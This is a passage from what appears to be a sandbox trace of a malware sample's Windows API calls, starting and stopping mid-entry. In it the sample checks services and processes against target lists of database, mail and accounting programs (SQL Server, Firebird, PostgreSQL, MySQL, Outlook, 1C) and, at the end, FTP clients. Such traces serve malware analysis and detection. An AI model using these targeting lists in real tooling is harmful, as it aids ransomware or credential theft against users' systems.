(lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0090.921] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0090.921] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0090.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0090.921] lstrlenW (lpString="Spooler") returned 7 [0090.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0090.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0090.921] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0090.921] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0090.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0090.921] lstrlenW (lpString="swprv") returned 5 [0090.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0090.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0090.922] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0090.922] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0090.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0090.922] lstrlenW (lpString="SysMain") returned 7 [0090.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0090.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0090.922] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0090.922] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0090.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0090.922] lstrlenW (lpString="Themes") returned 6 [0090.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0090.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0090.922] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0090.923] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0090.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0090.923] lstrlenW (lpString="TrkWks") returned 6 [0090.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0090.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0090.923] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0090.923] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0090.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0090.923] lstrlenW (lpString="UxSms") returned 5 [0090.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0090.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0090.923] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0090.923] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0090.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0090.923] lstrlenW (lpString="VSS") returned 3 [0090.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0090.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0090.924] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0090.924] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0090.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0090.925] lstrlenW (lpString="WdiServiceHost") returned 14 [0090.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0090.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0090.925] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0090.925] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0090.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0090.925] lstrlenW (lpString="WdiSystemHost") returned 13 [0090.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0090.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0090.925] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0090.925] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0090.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0090.925] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0090.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0090.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0090.926] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0090.926] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0090.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0090.926] lstrlenW (lpString="Winmgmt") returned 7 [0090.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0090.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0090.926] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0090.926] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0090.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0090.926] lstrlenW (lpString="WPDBusEnum") returned 10 [0090.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0090.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0090.926] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0090.926] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0090.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0090.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39777a0 | out: hHeap=0x5b0000) returned 1 [0090.927] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0090.939] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0091.305] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0091.305] lstrlenW (lpString="System") returned 6 [0091.305] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0091.306] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0091.306] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0091.306] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0091.306] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0091.306] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0091.306] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0091.306] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0091.307] lstrlenW (lpString="smss.exe") returned 8 [0091.307] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0091.307] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0091.307] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0091.307] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0091.307] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0091.307] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0091.307] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0091.307] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0091.308] lstrlenW (lpString="csrss.exe") returned 9 [0091.308] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0091.308] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0091.308] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0091.308] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0091.308] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0091.308] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0091.308] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0091.308] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0091.309] lstrlenW (lpString="wininit.exe") returned 11 [0091.309] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0091.309] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0091.309] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0091.309] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0091.310] lstrlenW (lpString="csrss.exe") returned 9 [0091.310] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0091.311] lstrlenW (lpString="winlogon.exe") returned 12 [0091.311] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0091.312] lstrlenW (lpString="services.exe") returned 12 [0091.312] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0091.312] lstrlenW (lpString="lsass.exe") returned 9 [0091.312] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0091.313] lstrlenW (lpString="lsm.exe") returned 7 [0091.313] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.314] lstrlenW (lpString="svchost.exe") returned 11 [0091.314] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.315] lstrlenW (lpString="svchost.exe") returned 11 [0091.315] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.316] lstrlenW (lpString="svchost.exe") returned 11 [0091.316] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.316] lstrlenW (lpString="svchost.exe") returned 11 [0091.316] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.317] lstrlenW (lpString="svchost.exe") returned 11 [0091.317] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0091.318] lstrlenW (lpString="audiodg.exe") returned 11 [0091.318] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.319] lstrlenW (lpString="svchost.exe") returned 11 [0091.319] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.319] lstrlenW (lpString="svchost.exe") returned 11 [0091.319] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0091.320] lstrlenW (lpString="dwm.exe") returned 7 [0091.320] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0091.321] lstrlenW (lpString="explorer.exe") returned 12 [0091.321] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0091.322] lstrlenW (lpString="spoolsv.exe") returned 11 [0091.322] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.322] lstrlenW (lpString="svchost.exe") returned 11 [0091.322] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0091.323] lstrlenW (lpString="taskhost.exe") returned 12 [0091.323] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0091.324] lstrlenW (lpString="taskeng.exe") returned 11 [0091.324] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wilson-homeless-extension.exe")) returned 1 [0091.325] lstrlenW (lpString="wilson-homeless-extension.exe") returned 29 [0091.325] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="while damaged.exe")) returned 1 [0091.326] lstrlenW (lpString="while damaged.exe") returned 17 [0091.326] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="hosted_thee.exe")) returned 1 [0091.327] lstrlenW (lpString="hosted_thee.exe") returned 15 [0091.327] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="covering-secretariat.exe")) returned 1 [0091.327] lstrlenW (lpString="covering-secretariat.exe") returned 24 [0091.327] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="herself-neo-wheat.exe")) returned 1 [0091.328] lstrlenW (lpString="herself-neo-wheat.exe") returned 21 [0091.328] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="institution-population-samples.exe")) returned 1 [0091.329] lstrlenW (lpString="institution-population-samples.exe") returned 34 [0091.329] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacteddecidedmurder.exe")) returned 1 [0091.330] lstrlenW (lpString="contacteddecidedmurder.exe") returned 26 [0091.330] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="l_greene_go.exe")) returned 1 [0091.331] lstrlenW (lpString="l_greene_go.exe") returned 15 [0091.331] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="informative-switches-zones.exe")) returned 1 [0091.332] lstrlenW (lpString="informative-switches-zones.exe") returned 30 [0091.332] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spots wm.exe")) returned 1 [0091.333] lstrlenW (lpString="spots wm.exe") returned 12 [0091.333] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="epa_spirituality.exe")) returned 1 [0091.334] lstrlenW (lpString="epa_spirituality.exe") returned 20 [0091.334] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lp imagination.exe")) returned 1 [0091.334] lstrlenW (lpString="lp imagination.exe") returned 18 [0091.334] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="guilty_shed_brandon.exe")) returned 1 [0091.335] lstrlenW (lpString="guilty_shed_brandon.exe") returned 23 [0091.335] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disaster_rapidly_permanent.exe")) returned 1 [0091.336] lstrlenW (lpString="disaster_rapidly_permanent.exe") returned 30 [0091.336] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary teach.exe")) returned 1 [0091.337] lstrlenW (lpString="voluntary teach.exe") returned 19 [0091.337] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="languagemonacotoll.exe")) returned 1 [0091.337] lstrlenW (lpString="languagemonacotoll.exe") returned 22 [0091.338] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="jesse.exe")) returned 1 [0091.338] lstrlenW (lpString="jesse.exe") returned 9 [0091.338] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="partners_format.exe")) returned 1 [0091.339] lstrlenW (lpString="partners_format.exe") returned 19 [0091.339] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="predict.exe")) returned 1 [0091.340] lstrlenW (lpString="predict.exe") returned 11 [0091.340] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="supervisor.exe")) returned 1 [0091.562] lstrlenW (lpString="supervisor.exe") returned 14 [0091.562] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0091.563] lstrlenW (lpString="3dftp.exe") returned 9 [0091.563] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0091.564] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0091.564] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0091.565] lstrlenW (lpString="alftp.exe") returned 9 [0091.565] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0091.566] lstrlenW (lpString="barca.exe") returned 9 [0091.566] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0091.567] lstrlenW (lpString="bitkinex.exe") returned 12 [0091.567] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21cfd34 | out: 